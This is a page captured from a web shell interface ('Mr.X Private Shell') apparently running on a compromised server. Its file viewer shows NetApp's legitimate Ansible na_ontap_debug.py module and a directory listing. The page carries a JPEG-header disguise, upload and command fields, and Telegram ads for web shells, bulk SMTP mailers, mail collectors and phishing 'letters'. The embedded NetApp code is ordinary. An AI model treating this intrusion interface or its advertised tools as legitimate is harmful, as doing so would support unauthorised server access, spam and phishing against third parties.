����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
"""
create Debug module to diagnose netapp-lib import and connection
"""

# (c) 2020-2022, NetApp, Inc
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type


ANSIBLE_METADATA = {'metadata_version': '1.1',
                    'status': ['preview'],
                    'supported_by': 'certified'}


DOCUMENTATION = '''
module: na_ontap_debug
short_description: NetApp ONTAP Debug netapp-lib import and connection.
extends_documentation_fragment:
    - netapp.ontap.netapp.na_ontap
version_added: 21.1.0
author: NetApp Ansible Team (@carchi8py) <ng-ansibleteam@netapp.com>
description:
- Display issues related to importing netapp-lib and connection with diagnose
options:
  vserver:
    description:
    - The vserver name to test for ZAPI tunneling.
    required: false
    type: str
'''
EXAMPLES = """
    - name: Check import netapp-lib
      na_ontap_debug:
        hostname: "{{ netapp_hostname }}"
        username: "{{ netapp_username }}"
        password: "{{ netapp_password }}"
"""

RETURN = """
"""
import sys
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils._text import to_native
import ansible_collections.netapp.ontap.plugins.module_utils.netapp as netapp_utils
from ansible_collections.netapp.ontap.plugins.module_utils.netapp_module import NetAppModule
from ansible_collections.netapp.ontap.plugins.module_utils.rest_user import get_users
from ansible_collections.netapp.ontap.plugins.module_utils.rest_vserver import get_vserver


class NetAppONTAPDebug(object):
    """Class with Debug methods"""

    def __init__(self):
        self.argument_spec = netapp_utils.na_ontap_host_argument_spec()
        self.argument_spec.update(dict(
            vserver=dict(required=False, type="str"),
        ))
        self.module = AnsibleModule(
            argument_spec=self.argument_spec
        )
        self.na_helper = NetAppModule()
        self.parameters = self.na_helper.set_parameters(self.module.params)
        self.rest_api = netapp_utils.OntapRestAPI(self.module)
        self.log_list = []
        self.error_list = []
        self.note_list = []
        self.server = None

    def list_versions(self):
        self.log_list.append('Ansible version: %s' % netapp_utils.ANSIBLE_VERSION)
        self.log_list.append('ONTAP collection version: %s' % netapp_utils.COLLECTION_VERSION)
        self.log_list.append('Python version: %s' % sys.version[:3])
        self.log_list.append('Python executable path: %s' % sys.executable)

    def import_lib(self):
        if not netapp_utils.has_netapp_lib():
            msgs = [
                'Error importing netapp-lib or a dependency: %s.' % str(netapp_utils.IMPORT_EXCEPTION),
                'Install the python netapp-lib module or a missing dependency.',
                'Additional diagnostic information:',
                'Python Executable Path: %s.' % sys.executable,
                'Python Version: %s.' % sys.version,
                'System Path: %s.' % ','.join(sys.path),
            ]
            self.error_list.append('  '.join(msgs))
            return
        self.log_list.append('netapp-lib imported successfully.')

    def check_connection(self, connection_type):
        """
        check connection errors and diagnose
        """
        error_string = None
        if connection_type == "REST":
            api = 'cluster'
            message, error_string = self.rest_api.get(api)
        elif connection_type == "ZAPI":
            if 'vserver' not in self.parameters:
                self.server = netapp_utils.setup_na_ontap_zapi(module=self.module)
            else:
                self.server = netapp_utils.setup_na_ontap_zapi(module=self.module, vserver=self.parameters['vserver'])
            version_obj = netapp_utils.zapi.NaElement("system-get-version")
            try:
                result = self.server.invoke_successfully(version_obj, True)
            except netapp_utils.zapi.NaApiError as error:
                error_string = to_native(error)
        else:
            self.module.fail_json(msg='Internal error, unexpected connection type: %s' % connection_type)

        if error_string is not None:
            summary_msg = None
            error_patterns = ['Connection timed out',
                              'Resource temporarily unavailable',
                              'ConnectTimeoutError',
                              'Network is unreachable']
            if any(x in error_string for x in error_patterns):
                summary_msg = 'Error: invalid or unreachable hostname: %s' % self.parameters['hostname']
                if 'vserver' in self.parameters:
                    summary_msg += ' for SVM: %s ' % self.parameters['vserver']
                self.error_list.append('Error in hostname - Address does not exist or is not reachable: ' + error_string)
                self.error_list.append(summary_msg + ' using %s.' % connection_type)
                return
            error_patterns = ['Name or service not known', 'Name does not resolve']
            if any(x in error_string for x in error_patterns):
                summary_msg = 'Error: unknown or not resolvable hostname: %s' % self.parameters['hostname']
                if 'vserver' in self.parameters:
                    summary_msg += ' for SVM: %s ' % self.parameters['vserver']
                self.error_list.append('Error in hostname - DNS name cannot be resolved: ' + error_string)
                self.error_list.append('%s cannot be resolved using %s.' % (summary_msg, connection_type))
            else:
                self.error_list.append('Other error for hostname: %s using %s: %s.' % (self.parameters['hostname'], connection_type, error_string))
                self.error_list.append('Unclassified, see msg')
            return False

        ontap_version = message['version']['full'] if connection_type == 'REST' else result['version']
        self.log_list.append('%s connected successfully.' % connection_type)
        self.log_list.append('ONTAP version: %s' % ontap_version)
        return True

    def list_interfaces(self, vserver_name):
        vserver, error = get_vserver(self.rest_api, vserver_name, fields='ip_interfaces')
        if not error and not vserver:
            error = 'not found'
        if error:
            self.error_list.append('Error getting vserver in list_interfaces: %s: %s' % (vserver_name, error))
        else:
            interfaces = vserver.get('ip_interfaces')
            if not interfaces:
                self.error_list.append('Error vserver is not associated with a network interface: %s' % vserver_name)
                return
            for interface in interfaces:
                data = [vserver_name]
                for field in (['name'], ['ip', 'address'], ['services']):
                    value = self.na_helper.safe_get(interface, field)
                    if isinstance(value, list):
                        value = ','.join(value)
                    if field == ['services'] and value and 'management' not in value:
                        self.note_list.append('NOTE: no management policy in services for %s: %s' % (data, value))
                    data.append(value)
                self.log_list.append('vserver: %s, interface: %s, IP: %s, service policies: %s' % tuple(data))

    def validate_user(self, user):
        locked = user.get('locked')
        if locked:
            self.note_list.append('NOTE: user: %s is locked on vserver: %s' % (user['name'], self.na_helper.safe_get(user, ['owner', 'name'])))
        applications = user.get('applications', [])
        apps = [app['application'] for app in applications]
        role = self.na_helper.safe_get(user, ['role', 'name'])
        for application in ('http', 'ontapi', 'console'):
            if application not in apps and (application != 'console' or role == 'admin'):
                self.note_list.append('NOTE: application %s not found for user: %s: %s' % (application, user['name'], apps))
                if application == 'console':
                    self.note_list.append("NOTE: console access is only needed for na_ontap_command.")
        has_http = locked is False and 'http' in apps
        has_ontapi = locked is False and 'ontapi' in apps
        return has_http, has_ontapi

    def list_users(self, vserver_name=None, user_name=None):
        query = {'owner.name': vserver_name} if vserver_name else {'name': user_name}
        users, error = get_users(self.rest_api, query, 'applications,locked,owner,role')
        if not error and not users:
            error = 'none found'
        name = vserver_name or user_name
        if error:
            if 'not authorized for that command' in error:
                self.log_list.append('Not autorized to get accounts for: %s: %s' % (name, error))
            else:
                self.error_list.append('Error getting accounts for: %s: %s' % (name, error))
        else:
            one_http, one_ontapi = False, False
            for user in users:
                data = {}
                for field in ('owner', 'name', 'role', 'locked', 'applications'):
                    if field in ('owner', 'role'):
                        value = str(self.na_helper.safe_get(user, [field, 'name']))
                    else:
                        value = str(user.get(field))
                    data[field] = value
                self.log_list.append(', '. join('%s: %s' % x for x in data.items()))
                has_http, has_ontapi = self.validate_user(user)
                one_http |= has_http
                one_ontapi |= has_ontapi
            msg = 'Error: no unlocked user for %s on vserver: %s'if vserver_name else\
                  'Error: %s is not enabled for user %s'
            if not one_http:
                self.error_list.append(msg % ('http', name))
            if not one_ontapi:
                self.error_list.append(msg % ('ontapi', name))

    def check_vserver(self, name):

        self.list_interfaces(name)
        self.list_users(vserver_name=name)

    def apply(self):
        """
        Apply debug
        """
        # report Ansible and our collection versions
        self.list_versions()

        # check import netapp-lib
        self.import_lib()

        # check zapi connection errors only if import successful
        if netapp_utils.has_netapp_lib():
            self.check_connection("ZAPI")

        # check rest connection errors
        has_rest = self.check_connection("REST")

        if has_rest:
            self.list_users(user_name=self.parameters.get('username'))
            if 'vserver' in self.parameters:
                self.check_vserver(self.parameters['vserver'])

        msgs = {}
        if self.note_list:
            msgs['notes'] = self.note_list
        if self.error_list:
            msgs['msg'] = self.error_list
            if self.log_list:
                msgs['msg_passed'] = self.log_list
            self.module.fail_json(**msgs)
        msgs['msg'] = self.log_list
        self.module.exit_json(**msgs)


def main():
    """Execute action"""
    debug_obj = NetAppONTAPDebug()
    debug_obj.apply()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
na_ontap_active_directory.py File 14.01 KB 0644
na_ontap_active_directory_domain_controllers.py File 8.48 KB 0644
na_ontap_aggregate.py File 49.5 KB 0644
na_ontap_autosupport.py File 19.35 KB 0644
na_ontap_autosupport_invoke.py File 6.52 KB 0644
na_ontap_bgp_peer_group.py File 12.33 KB 0644
na_ontap_broadcast_domain.py File 29.74 KB 0644
na_ontap_broadcast_domain_ports.py File 8.37 KB 0644
na_ontap_cg_snapshot.py File 8.23 KB 0644
na_ontap_cifs.py File 23.23 KB 0644
na_ontap_cifs_acl.py File 14.53 KB 0644
na_ontap_cifs_local_group.py File 7.85 KB 0644
na_ontap_cifs_local_group_member.py File 11.25 KB 0644
na_ontap_cifs_local_user.py File 8.44 KB 0644
na_ontap_cifs_local_user_modify.py File 8.63 KB 0644
na_ontap_cifs_local_user_set_password.py File 5.94 KB 0644
na_ontap_cifs_server.py File 25.92 KB 0644
na_ontap_cluster.py File 33.16 KB 0644
na_ontap_cluster_ha.py File 5.3 KB 0644
na_ontap_cluster_peer.py File 19.14 KB 0644
na_ontap_command.py File 11.33 KB 0644
na_ontap_debug.py File 11.05 KB 0644
na_ontap_disk_options.py File 5.23 KB 0644
na_ontap_disks.py File 15.02 KB 0644
na_ontap_dns.py File 14.22 KB 0644
na_ontap_domain_tunnel.py File 4.88 KB 0644
na_ontap_efficiency_policy.py File 18.31 KB 0644
na_ontap_ems_destination.py File 6.97 KB 0644
na_ontap_ems_filter.py File 9.25 KB 0644
na_ontap_export_policy.py File 10.24 KB 0644
na_ontap_export_policy_rule.py File 32.27 KB 0644
na_ontap_fcp.py File 9.84 KB 0644
na_ontap_fdsd.py File 4.87 KB 0644
na_ontap_fdsp.py File 4.88 KB 0644
na_ontap_fdspt.py File 8.11 KB 0644
na_ontap_fdss.py File 3.51 KB 0644
na_ontap_file_directory_policy.py File 15.37 KB 0644
na_ontap_file_security_permissions.py File 36.06 KB 0644
na_ontap_file_security_permissions_acl.py File 21.03 KB 0644
na_ontap_firewall_policy.py File 13.85 KB 0644
na_ontap_firmware_upgrade.py File 41.58 KB 0644
na_ontap_flexcache.py File 28.38 KB 0644
na_ontap_fpolicy_event.py File 18.51 KB 0644
na_ontap_fpolicy_ext_engine.py File 20.8 KB 0644
na_ontap_fpolicy_policy.py File 15.76 KB 0644
na_ontap_fpolicy_scope.py File 23.33 KB 0644
na_ontap_fpolicy_status.py File 9.96 KB 0644
na_ontap_igroup.py File 29.17 KB 0644
na_ontap_igroup_initiator.py File 8.28 KB 0644
na_ontap_info.py File 72.19 KB 0644
na_ontap_interface.py File 71.15 KB 0644
na_ontap_ipspace.py File 10.23 KB 0644
na_ontap_iscsi.py File 12.24 KB 0644
na_ontap_iscsi_security.py File 13.12 KB 0644
na_ontap_job_schedule.py File 20 KB 0644
na_ontap_kerberos_interface.py File 8.3 KB 0644
na_ontap_kerberos_realm.py File 17.46 KB 0644
na_ontap_ldap.py File 7.33 KB 0644
na_ontap_ldap_client.py File 22.46 KB 0644
na_ontap_license.py File 29.15 KB 0644
na_ontap_local_hosts.py File 7.3 KB 0644
na_ontap_log_forward.py File 11.83 KB 0644
na_ontap_login_messages.py File 12.76 KB 0644
na_ontap_lun.py File 56.54 KB 0644
na_ontap_lun_copy.py File 8 KB 0644
na_ontap_lun_map.py File 13.03 KB 0644
na_ontap_lun_map_reporting_nodes.py File 10.87 KB 0644
na_ontap_mcc_mediator.py File 5.42 KB 0644
na_ontap_metrocluster.py File 5.28 KB 0644
na_ontap_metrocluster_dr_group.py File 7.89 KB 0644
na_ontap_motd.py File 7.76 KB 0644
na_ontap_name_mappings.py File 11.6 KB 0644
na_ontap_name_service_switch.py File 10.45 KB 0644
na_ontap_ndmp.py File 13.49 KB 0644
na_ontap_net_ifgrp.py File 22.62 KB 0644
na_ontap_net_port.py File 11.03 KB 0644
na_ontap_net_routes.py File 13.84 KB 0644
na_ontap_net_subnet.py File 16.43 KB 0644
na_ontap_net_vlan.py File 13.32 KB 0644
na_ontap_nfs.py File 34.3 KB 0644
na_ontap_node.py File 9.74 KB 0644
na_ontap_ntfs_dacl.py File 13.41 KB 0644
na_ontap_ntfs_sd.py File 10.14 KB 0644
na_ontap_ntp.py File 10.27 KB 0644
na_ontap_ntp_key.py File 5.7 KB 0644
na_ontap_nvme.py File 9.42 KB 0644
na_ontap_nvme_namespace.py File 9.3 KB 0644
na_ontap_nvme_subsystem.py File 19.7 KB 0644
na_ontap_object_store.py File 13.8 KB 0644
na_ontap_partitions.py File 17.81 KB 0644
na_ontap_ports.py File 23.49 KB 0644
na_ontap_portset.py File 18.02 KB 0644
na_ontap_publickey.py File 10.76 KB 0644
na_ontap_qos_adaptive_policy_group.py File 12.75 KB 0644
na_ontap_qos_policy_group.py File 24.56 KB 0644
na_ontap_qtree.py File 17.83 KB 0644
na_ontap_quota_policy.py File 9.62 KB 0644
na_ontap_quotas.py File 40.3 KB 0644
na_ontap_rest_cli.py File 4.84 KB 0644
na_ontap_rest_info.py File 54.29 KB 0644
na_ontap_restit.py File 13.1 KB 0644
na_ontap_s3_buckets.py File 25.13 KB 0644
na_ontap_s3_groups.py File 8.38 KB 0644
na_ontap_s3_policies.py File 8.51 KB 0644
na_ontap_s3_services.py File 7.89 KB 0644
na_ontap_s3_users.py File 6.86 KB 0644
na_ontap_security_certificates.py File 17.9 KB 0644
na_ontap_security_config.py File 12.77 KB 0644
na_ontap_security_ipsec_ca_certificate.py File 6.92 KB 0644
na_ontap_security_ipsec_config.py File 4.39 KB 0644
na_ontap_security_ipsec_policy.py File 17.64 KB 0644
na_ontap_security_key_manager.py File 27.86 KB 0644
na_ontap_security_ssh.py File 7.2 KB 0644
na_ontap_service_policy.py File 12.93 KB 0644
na_ontap_service_processor_network.py File 17.83 KB 0644
na_ontap_snaplock_clock.py File 6.08 KB 0644
na_ontap_snapmirror.py File 86.94 KB 0644
na_ontap_snapmirror_policy.py File 52.81 KB 0644
na_ontap_snapshot.py File 18.52 KB 0644
na_ontap_snapshot_policy.py File 31.57 KB 0644
na_ontap_snmp.py File 8.45 KB 0644
na_ontap_snmp_traphosts.py File 4.26 KB 0644
na_ontap_software_update.py File 34.05 KB 0644
na_ontap_ssh_command.py File 9.34 KB 0644
na_ontap_storage_auto_giveback.py File 9.69 KB 0644
na_ontap_storage_failover.py File 6.92 KB 0644
na_ontap_svm.py File 42.08 KB 0644
na_ontap_svm_options.py File 5.33 KB 0644
na_ontap_ucadapter.py File 11.6 KB 0644
na_ontap_unix_group.py File 18.27 KB 0644
na_ontap_unix_user.py File 12.12 KB 0644
na_ontap_user.py File 40.32 KB 0644
na_ontap_user_role.py File 22.64 KB 0644
na_ontap_volume.py File 142.63 KB 0644
na_ontap_volume_autosize.py File 15.57 KB 0644
na_ontap_volume_clone.py File 14.79 KB 0644
na_ontap_volume_efficiency.py File 32.69 KB 0644
na_ontap_volume_snaplock.py File 8.67 KB 0644
na_ontap_vscan.py File 5.85 KB 0644
na_ontap_vscan_on_access_policy.py File 24.2 KB 0644
na_ontap_vscan_on_demand_task.py File 17.45 KB 0644
na_ontap_vscan_scanner_pool.py File 12 KB 0644
na_ontap_vserver_audit.py File 13.73 KB 0644
na_ontap_vserver_cifs_security.py File 12.08 KB 0644
na_ontap_vserver_peer.py File 19.63 KB 0644
na_ontap_vserver_peer_permissions.py File 7.29 KB 0644
na_ontap_wait_for_condition.py File 16.11 KB 0644
na_ontap_wwpn_alias.py File 6.03 KB 0644
na_ontap_zapit.py File 10.09 KB 0644